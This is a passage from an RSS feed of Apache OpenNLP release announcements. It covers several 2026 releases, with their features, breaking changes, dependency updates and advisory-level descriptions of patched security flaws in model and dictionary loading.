&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;dependency_updates&quot;&gt;Dependency Updates&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Move to Apache Parent 39 (OPENNLP-1855)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update JUnit to 6.1.2 (OPENNLP-1856)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update ONNX runtime to 1.27.0 (OPENNLP-1873)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update Log4j2 to 2.26.1 (OPENNLP-1874)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For further details, check the full list of &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12357211&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;changes&lt;/a&gt; via the project&amp;#8217;s issue tracker.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 3.0.0-M4 released</title>
      <link>https://opennlp.apache.org/news/release-300-M4.html</link>
      <pubDate>Tue, 30 Jun 2026 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-300-M4.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 3.0.0-M4.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 3.0.0-M4 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_3_0_0_m4&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 3.0.0-M4&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This release focuses on &lt;strong&gt;security hardening&lt;/strong&gt;, &lt;strong&gt;new NLP capabilities&lt;/strong&gt;, and &lt;strong&gt;dependency maintenance&lt;/strong&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;security_fixes&quot;&gt;Security Fixes&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;One security issue is addressed in this release.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect3&quot;&gt;
&lt;h4 id=&quot;cwe_502_deserialization_of_untrusted_data_opennlp_1823_cve_2026_43825&quot;&gt;CWE-502 Deserialization of Untrusted Data (OPENNLP-1823, CVE-2026-43825)&lt;/h4&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Fixed unsafe Java deserialization in &lt;code&gt;SvmDoccatModel.deserialize()&lt;/code&gt; (libsvm doccat module, 3.x before 3.0.0-M4) that
could allow remote code execution via a crafted stream when a gadget chain is present on the classpath;
an &lt;code&gt;ObjectInputFilter&lt;/code&gt; is now applied.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;new_features_and_improvements&quot;&gt;New Features and Improvements&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Include list of stop words for various languages (OPENNLP-660)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add SymSpell-based spell correction component (OPENNLP-1832)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add BertTokenizer with BERT basic tokenization (OPENNLP-1837)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Harden SvmDoccatModel.deserialize() with ObjectInputFilter and resource limits (OPENNLP-1823)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tolerate unsupported XML parser security options (OPENNLP-1835)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fix NameFinderDL only worked with Person, expand to all types (OPENNLP-1846)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Several updates of dependencies were conducted, see Jira release notes listing - URL down below&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Some minor tasks have been completed&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;bug_fixes&quot;&gt;Bug fixes&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This release ships four bug fixes for: OPENNLP-1826, OPENNLP-1836, OPENNLP-1839, and OPENNLP-1840&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;important_changes&quot;&gt;IMPORTANT CHANGES&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The ONNX input encoding in SentenceVectorsDL was fixed, which changes the produced sentence vectors.
Any embeddings persisted with the old encoding are not comparable to the new output and must be re-generated. (OPENNLP-1836 - PR #1072)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;WordpieceTokenizer (public API, used by opennlp-dl) now splits punctuation runs into single tokens, collapses
partially-matched words to a single [UNK], and throws from tokenizePos instead of returning null.
These change tokenization output for existing callers. (OPENNLP-1837 - PR #1073)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;NameFinderDL now decodes all BIO entity types (PER/ORG/LOC/…) instead of only persons. Span.getType() now returns
the entity label rather than the covered text, which is a contract change for existing callers. (OPENNLP-1846 - PR #1086)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The opennlp-dl components are now thread-safe; as part of this, loadVocab became public static (source- and binary-incompatible)
and AbstractDL&amp;#8217;s implicit no-arg constructor was removed.
Both affect downstream code that calls loadVocab or extends AbstractDL. (OPENNLP-1844 - PR #1084)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;dependency_updates&quot;&gt;Dependency Updates&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Update ONNX runtime to 1.26.0 (OPENNLP-1824)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update gRPC to 1.81.0 (OPENNLP-1825)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update log4j2 to 2.26.0 (OPENNLP-1827)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update Slf4j to 2.0.18 (OPENNLP-1831)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update gRPC to 1.82.0 (OPENNLP-1847)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update Morfologik to 2.2.0 (OPENNLP-1848)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For further details, check the full list of &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12356941&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;changes&lt;/a&gt; via the project&amp;#8217;s issue tracker.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.5.10 released</title>
      <link>https://opennlp.apache.org/news/release-2510.html</link>
      <pubDate>Wed, 24 Jun 2026 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-2510.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.5.10.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.5.10 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_5_10&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.5.10&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This is a &lt;strong&gt;maintenance release&lt;/strong&gt; on the 2.x line. It backports the fixes shipped with (upcoming) 3.0.0-M4 and refreshes several dependencies.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;bug_fixes&quot;&gt;Bug Fixes:&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This release ships four bug fixes for: OPENNLP-1826, OPENNLP-1836, OPENNLP-1839, and OPENNLP-1840&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;improvements&quot;&gt;Improvements:&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;OpenNLP now supports Roberta-based models (OPENNLP-1518)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A problem with unsupported XML parser security options was addressed (OPENNLP-1835)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Some minor tasks have been completed&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;dependency_updates&quot;&gt;Dependency Updates&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Update log4j2 to 2.26.0 (OPENNLP-1817)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update ONNX runtime to 1.26.0 (OPENNLP-1822)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update Slf4j to 2.0.18 (OPENNLP-1831)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update Morfologik to 2.2.0 (OPENNLP-1848)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For further details, check the full list of &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12356942&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;changes&lt;/a&gt; via the project&amp;#8217;s issue tracker.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.9.5 released</title>
      <link>https://opennlp.apache.org/news/release-195.html</link>
      <pubDate>Thu, 18 Jun 2026 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-195.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 1.9.5.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 1.9.5 binary and source distributions are available from the
&lt;a href=&quot;https://archive.apache.org/dist/opennlp/&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Apache archive&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_1_9_5&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 1.9.5&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This is a &lt;strong&gt;maintenance release&lt;/strong&gt; on the 1.9.x line. It addresses several security vulnerabilities affecting
Apache Lucene 8.x and Apache Solr 8.x, which depend on OpenNLP 1.9.x.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;security_fixes&quot;&gt;Security fixes:&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;DictionaryEntryPersistor&lt;/code&gt; now parses XML through the hardened &lt;code&gt;XmlUtil&lt;/code&gt; helper (OPENNLP-1819)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;ExtensionLoader&lt;/code&gt; is now restricted to allowlisted package prefixes (OPENNLP-1820)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;AbstractModelReader&lt;/code&gt; now guards against oversized array allocation from a crafted model (OPENNLP-1821, OPENNLP-1826)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Unsupported XML parser hardening options are now tolerated instead of failing (OPENNLP-1835)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;dependency_updates&quot;&gt;Dependency Updates&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Update Apache UIMA uimaj-core to 3.3.1&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update Morfologik to 2.1.9&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update the Jersey/GlassFish dependency to address CVE-2021-28168&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update test-scope JUnit to 4.13.1 and Commons IO to 2.7&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For background on this release, see the
&lt;a href=&quot;https://lists.apache.org/thread/nvzl4g2b6rc149nf54xpnorjso5h0mlp&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;discussion on the dev mailing list&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;admonitionblock note&quot;&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;td class=&quot;icon&quot;&gt;
&lt;div class=&quot;title&quot;&gt;Note&lt;/div&gt;
&lt;/td&gt;
&lt;td class=&quot;content&quot;&gt;
Apache OpenNLP 1.9.5 is the final release of the 1.9.x line. See the
&lt;a href=&quot;/news/news-2026-08-10.html&quot;&gt;end of life announcement&lt;/a&gt; for details.
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.5.9 released</title>
      <link>https://opennlp.apache.org/news/release-259.html</link>
      <pubDate>Fri, 1 May 2026 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-259.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.5.9.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.5.9 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_5_9&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.5.9&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This is a &lt;strong&gt;maintenance and security release&lt;/strong&gt; on the 2.x line. It backports the security fixes shipped in 3.0.0-M3 and refreshes several dependencies.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;security_fixes&quot;&gt;Security Fixes&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Three security issues are addressed in this release (also fixed in &lt;strong&gt;3.0.0-M3&lt;/strong&gt; on the 3.x line).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect3&quot;&gt;
&lt;h4 id=&quot;xxe_in_dictionaryentrypersistor_opennlp_1819_cve_2026_40682&quot;&gt;XXE in &lt;code&gt;DictionaryEntryPersistor&lt;/code&gt; (OPENNLP-1819, CVE-2026-40682)&lt;/h4&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The &lt;code&gt;DictionaryEntryPersistor&lt;/code&gt; previously used a &lt;code&gt;SAXParserFactory&lt;/code&gt; that did not enable secure processing or disable DTD handling, leaving external entity resolution active. A malicious dictionary file could exploit this for &lt;strong&gt;local file disclosure&lt;/strong&gt; or &lt;strong&gt;SSRF&lt;/strong&gt; before any dictionary entry was processed.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The parsing path is now aligned with the project&amp;#8217;s existing &lt;code&gt;XmlUtil&lt;/code&gt; helper, which properly sets &lt;code&gt;FEATURE_SECURE_PROCESSING&lt;/code&gt; and &lt;code&gt;disallow-doctype-decl&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect3&quot;&gt;
&lt;h4 id=&quot;arbitrary_class_instantiation_in_extensionloader_opennlp_1820_cve_2026_42027&quot;&gt;Arbitrary Class Instantiation in &lt;code&gt;ExtensionLoader&lt;/code&gt; (OPENNLP-1820, CVE-2026-42027)&lt;/h4&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;code&gt;ExtensionLoader.instantiateExtension()&lt;/code&gt; performed its &lt;code&gt;isAssignableFrom&lt;/code&gt; type check &lt;strong&gt;after&lt;/strong&gt; &lt;code&gt;Class.forName()&lt;/code&gt; had already executed the target class&amp;#8217;s static initializer, allowing a crafted model archive to trigger the static initializer of any class on the classpath.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The fix introduces a &lt;strong&gt;package-prefix allowlist&lt;/strong&gt; consulted before &lt;code&gt;Class.forName()&lt;/code&gt; is invoked:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Classes under &lt;code&gt;opennlp.*&lt;/code&gt; remain permitted by default.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Other packages must be opted in via &lt;code&gt;ExtensionLoader.registerAllowedPackage(String)&lt;/code&gt; or the &lt;code&gt;OPENNLP_EXT_ALLOWED_PACKAGES&lt;/code&gt; system property (comma-separated list).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect3&quot;&gt;
&lt;h4 id=&quot;oom_via_unbounded_array_allocation_in_abstractmodelreader_opennlp_1821_cve_2026_42440&quot;&gt;OOM via Unbounded Array Allocation in &lt;code&gt;AbstractModelReader&lt;/code&gt; (OPENNLP-1821, CVE-2026-42440)&lt;/h4&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;code&gt;getOutcomes()&lt;/code&gt;, &lt;code&gt;getOutcomePatterns()&lt;/code&gt;, and &lt;code&gt;getPredicates()&lt;/code&gt; read attacker-controlled 32-bit count fields from binary model streams and passed them directly to array allocations. A crafted &lt;code&gt;.bin&lt;/code&gt; file could trigger an immediate &lt;code&gt;OutOfMemoryError&lt;/code&gt; and crash the JVM.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Each count is now bounded (default &lt;strong&gt;10,000,000&lt;/strong&gt;, configurable via &lt;code&gt;-DOPENNLP_MAX_ENTRIES=&amp;lt;n&amp;gt;&lt;/code&gt;), with negative or oversized values failing fast via &lt;code&gt;IllegalArgumentException&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;admonitionblock warning&quot;&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;td class=&quot;icon&quot;&gt;
&lt;div class=&quot;title&quot;&gt;Warning&lt;/div&gt;
&lt;/td&gt;
&lt;td class=&quot;content&quot;&gt;
For all three issues, users who cannot upgrade immediately should restrict input (dictionary and model files) to &lt;strong&gt;trusted sources only&lt;/strong&gt;.
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;dependency_updates&quot;&gt;Dependency Updates&lt;/h3&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Update log4j2 to 2.25.4 (OPENNLP-1817)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update ONNX runtime to 1.25.0 (OPENNLP-1822)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For further details, check the full list of &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12356814&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;changes&lt;/a&gt; via the project&amp;#8217;s issue tracker.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 3.0.0-M3 released</title>
      <link>https://opennlp.apache.org/news/release-300-M3.html</link>
      <pubDate>Fri, 1 May 2026 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-300-M3.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 3.0.0-M3.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 3.0.0-M3 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_3_0_0_m3&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 3.0.0-M3&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This release focuses on &lt;strong&gt;security hardening&lt;/strong&gt;, &lt;strong&gt;new NLP capabilities&lt;/strong&gt;, and &lt;strong&gt;dependency maintenance&lt;/strong&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;security_fixes&quot;&gt;Security Fixes&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Three security issues are addressed in this release (also backported to &lt;strong&gt;2.5.9&lt;/strong&gt;).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect3&quot;&gt;
&lt;h4 id=&quot;xxe_in_dictionaryentrypersistor_opennlp_1819_cve_2026_40682&quot;&gt;XXE in &lt;code&gt;DictionaryEntryPersistor&lt;/code&gt; (OPENNLP-1819, CVE-2026-40682)&lt;/h4&gt;
&lt;div class=&quot;paragraph&quot;&gt;
